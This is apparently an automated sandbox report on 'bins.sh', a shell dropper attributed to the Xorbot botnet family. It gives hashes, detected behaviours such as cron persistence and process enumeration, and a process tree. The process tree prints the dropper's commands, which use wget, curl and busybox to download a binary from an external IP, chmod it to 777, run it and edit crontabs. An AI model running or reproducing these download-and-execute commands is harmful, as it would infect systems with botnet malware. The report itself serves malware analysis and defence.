Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 17:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
26c147f3c53daa20ad5513d299f09a9b
-
SHA1
dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199
-
SHA256
c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570
-
SHA512
e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78
-
SSDEEP
192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1492 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem 1493 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Renames itself 1 IoCs
pid Process 1494 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.fk0AoK crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/1536/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1553/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1108/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1139/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1561/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1579/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/98/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/165/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/319/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1564/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/2/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/158/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1243/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1572/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/9/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/157/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/447/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/624/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1033/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/22/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/169/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/947/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1535/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1545/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/84/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1117/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1187/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1525/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1531/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1053/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1076/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1177/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1517/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1530/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1569/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1577/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/83/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1156/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1510/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/940/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1121/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1125/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1533/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/154/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1009/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1181/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/85/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/161/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1136/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1529/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/17/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/31/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/81/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/407/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1147/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/129/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/170/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/400/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1511/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1575/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/80/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1312/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1337/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem wget File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem curl File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1475
-
/bin/rm/bin/rm bins.sh2⤵PID:1476
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1477
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1490
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1491
-
-
/bin/chmodchmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- File and Directory Permissions Modification
PID:1492
-
-
/tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1493 -
/bin/shsh -c "crontab -l"3⤵PID:1495
-
/usr/bin/crontabcrontab -l4⤵PID:1496
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1497
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1498
-
-
-
-
/bin/rmrm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵PID:1508
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵PID:1511
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD5eb57cc9b653e15dd605d0c871c5f32b0
SHA1905b592cfdfe5731e74e16ee12a0e614ca783e1a
SHA25685a74fcecc9367dad91f58bf37a2d25c046105160f672d633270bcf791e21148
SHA512f19a9fc5cbf5fa679a7d07069b34108aa2dfe7d87b8f13b5eec9314366272d29e9948e50cb4b3118d1dce57ebde23eafeedd0f997e2b1d18f51daf248fc6cbfb